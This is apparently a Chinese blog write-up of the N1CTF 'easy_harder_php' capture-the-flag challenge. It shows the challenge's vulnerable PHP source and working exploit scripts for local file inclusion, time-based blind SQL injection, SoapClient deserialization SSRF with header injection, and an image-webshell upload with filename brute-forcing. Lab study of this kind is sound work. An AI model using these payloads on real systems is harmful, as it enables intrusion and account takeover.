N1CTF-easy_harder_php

N1CTF-easy_harder_php

信息收集

页面是一个简单的登陆页面

简单的看看各项内容,这个url?action=...就很像lfi,试一试

确实有任意文件读取

扫一扫

发现index.php~

代码审计

源代码

index.php

index.php
<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

config.php

config.php
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");

session_start();
class Db
{
    private  $servername = "localhost";
    private  $username = "Nu1L";
    private  $password = "Nu1Lpassword233334";
    private  $dbname = "nu1lctf";
    private  $conn;

    function __construct()
    {
        $this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
    }

    function __destruct()
    {
        $this->conn->close();
    }

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function select($columns,$table,$where) {

        $column = $this->get_column($columns);

        $sql = 'select '.$column.' from '.$table.' where '.$where.';';
        $result = $this->conn->query($sql);

        return $result;

    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function delete($table,$where){

        $sql =  'delete from '.$table.' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }

    public function update_single($table,$where,$column,$value){

        $sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
        $result = $this->conn->query($sql);

        return $result;
    }




}

class Mood{

    public $mood, $ip, $date;

    public function __construct($mood, $ip) {
        $this->mood = $mood;
        $this->ip  = $ip;
        $this->date = time();

    }

    public function getcountry()
    {
        $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
        $ip = json_decode($ip,true);
        return $ip['data']['country'];
    }

    public function getsubtime()
    {
        $now_date = time();
        $sub_date = (int)$now_date - (int)$this->date;
        $days = (int)($sub_date/86400);
        $hours = (int)($sub_date%86400/3600);
        $minutes = (int)($sub_date%86400%3600/60);
        $res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
        return $res;
    }

    
}

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function rand_s($length = 8)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

user.php

user.php
<?php

require_once 'config.php';

class Customer{
    public $username, $userid, $is_admin, $allow_diff_ip;

    public function __construct()
    {
        $this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
        $this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
        $this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
        $this->get_allow_diff_ip();
    }

    public function check_login()
    {
        return isset($_SESSION['userid']);
    }

    public function check_username($username)
    {
        if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
            return false;
        else
            return true;
    }

    private function is_exists($username)
    {
        $db = new Db();
        @$ret = $db->select('username','ctf_users',"username='$username'");
        if($ret->fetch_row())
            return true;
        else
            return false;
    }

    public function get_allow_diff_ip()
    {
        if(!$this->check_login()) return 0;
        $db = new Db();
        @$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
        if($ret) {

            $user = $ret->fetch_row();
            if($user)
            {
                $this->allow_diff_ip = (int)$user[0];
                return 1;
            }
            else
                return 0;

        }
    }

    function login()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code erroar");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

            if($ret)
            {

                $user = $ret->fetch_row();
                if($user) {
                    if ($user[4] == '0' && $user[2] !== get_ip())
                        die("You can only login at the usual address");
                    if ($user[3] == '1')
                        $_SESSION['is_admin'] = 1;
                    else
                        $_SESSION['is_admin'] = 0;
                    $_SESSION['userid'] = $user[0];
                    $_SESSION['username'] = $user[1];
                    $this->username = $user[1];
                    $this->userid = $user[0];
                    return true;
                }
                else
                    return false;

            }
            else
            {
                return false;
            }

        }
        else
            return false;

    }

    function register()
    {
        if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
            if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
            {
                die("code error");
            }
            $username = $_POST['username'];
            $password = md5($_POST['password']);

            if(!$this->check_username($username))
                die('Invalid user name');
            if(!$this->is_exists($username)) {

                $db = new Db();

                @$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
                if($ret)
                    return true;
                else
                    return false;

            }

            else {
                die("The username is not unique");
            }
        }
        else
        {
            return false;
        }
    }

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;


        }

    }

    function showmess()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            //id,sig,mood,ip,country,subtime
            $db = new Db();
            @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
            if($ret) {
                $data = array();
                while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);
                    $country = $mood->getcountry();
                    $ip = $mood->ip;
                    $subtime = $mood->getsubtime();
                    $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
                    array_push($data, $allmess);
                }
                $data = json_encode(array('code'=>0,'data'=>$data));
                return $data;
            }
            else
                return false;

        }
        else
        {
            $filenames = scandir('adminpic/');
            array_splice($filenames, 0, 2);
            return json_encode(array('code'=>1,'data'=>$filenames));

        }
    }

    function allow_diff_ip_option()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['adio'])){
                $db = new Db();
                @$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
            echo 'admin can\'t change this option';
            return false;
    }

    function deletemess()
    {
        if(!$this->check_login()) return false;
        if(isset($_GET['delid'])) {
            $delid = (int)$_GET['delid'];
            $db = new Db;
            @$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
            if($ret)
                return true;
            else
                return false;
        }
        else
            return false;
    }

}

代码量稍微有一点多,我们来稍微理一理逻辑

  • index.php

设置了入口,new了Customer对象,并且规定了视图/view/[aciton]

  • user.php

只有一个Customer类,规定了登陆、注册、展示、删除等功能

  • config.php

Db类处理数据库连接,设置增删改查等方法

Mood类有一些具体的功能

直接理解Mood类比较麻烦,我们登陆后对应功能再看Mood

注册

未注册可利用的功能点比较少,所以我们这里先注册,需要满足

(substr(md5($_POST['code']),0, 5)==$_SESSION['code'])

那么我们全局追踪,看看哪里设置了$_SESSION['code']

最终在视图/views/register中找到

    $code = rand_s(3);
    $md5c = substr(md5($code),0,5);
    $c_view = "substr(md5(?), 0, 5) === $md5c";
    $_SESSION['code'] = $md5c;

追踪rand_s函数,在config.php Mood类中

那么我们先保存他所有的md5值,再写一个md5碰撞器与其碰撞

使用crunch字典生成工具

crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt

编写exp

import hashlib

f = open('file.txt', 'r', encoding='utf-8')
word = '1c6a6' //填入页面上的字符串
for line in f:
    line = line.strip()
    passwordhash = hashlib.md5(line.encode()).hexdigest()
    passwordhash = passwordhash[0:5]
    if word == passwordhash:
        print(line)
        break
f.close()

注册,登陆(可能有的碰撞不出来,多试几个就行)

页面上只有一个publish板块,那我们再来审计publish

publish

发现publish以admin登陆后有文件上传功能,那么我们思考是否可以得知admin的密码

刚好publish中直接将用户传参带入数据库中,无任何过滤

探测注入

a`,if(1=0,1, sleep(5)))#

成功延时

编写exp

# coding:utf-8
import requests
import datetime
import time
import base64
cookie = {
'PHPSESSID':'4sof8ite3d9vues5d1h476qrv3'
}
name = ''
for j in range(1, 35):
    for i in range(1, 128):
        url = 'http://192.168.110.150/index.php?action=publish'
        payload = "a`,if(substr((select password from ctf_users where username=`admin`),{},1)={},sleep(3),0))#".format(j, chr(i))
        print(payload)
        data = {
            "signature": payload,
            "mood": '0'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data=data, cookies=cookie)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec > 3:
            name += chr(i)
            print(name)
            break
    print('database_name:', name)


(因为已知表名,这里直接跑密码了)

密码:nu1ladmin

怀着无比激动心情登陆,不成功。。。

有经验看这个就知道肯定要用SoapClient打了

SoapClient

找到反序列化函数

在config.php|Customer类|showmess方法中

那么我们通过闭合控制mood

signature=aaa`,payload)%23

此时mood即为我们传入的payload,因为mood类中没有getcountry()方法,通过SoapClient中的__call()魔法函数本地登陆

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=o0p6';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=1642530grh43rsui3hhl8kl6a4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

刷新,登陆成功

文件上传

  1. 文件小于2MB
  2. type为mage/jpeg或image/pjpeg
  3. 不能有<?php
  4. 还需要我们爆破文件名

$file_true_name = $file_true_name.time().rand(1,100).'.jpg';

最后还有点恶心,会自动删除我们的.jpg

这里有个小trick

所以我们创建名为-nu1l.jpg的图片马,上传文件

编写exp

编写exp爆破文件名

# -*- coding:utf-8 -*-

import requests
time = 161130435000
url = 'http://192.168.110.150/index.php?action=../../../../app/adminpic/-nu1l{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    print(tmp)
    if html == 200:
        print(ul)   
        break

这里思路真的要发散,在lfi中其实可以读run.sh,其中包含数据库密码

Nu1Lctf%#~:p

所以最终我们可以登陆数据库,在其中找到flag

总结

这道题也太顶了,LFI+SSRF+反序列化,光exp就编了3个,这道题值得反复做,以后有时间再拿出来温习一下,太顶了,膜wupco师傅

posted @ 2021-01-22 17:25  kar3a  阅读(487)  评论(0编辑  收藏  举报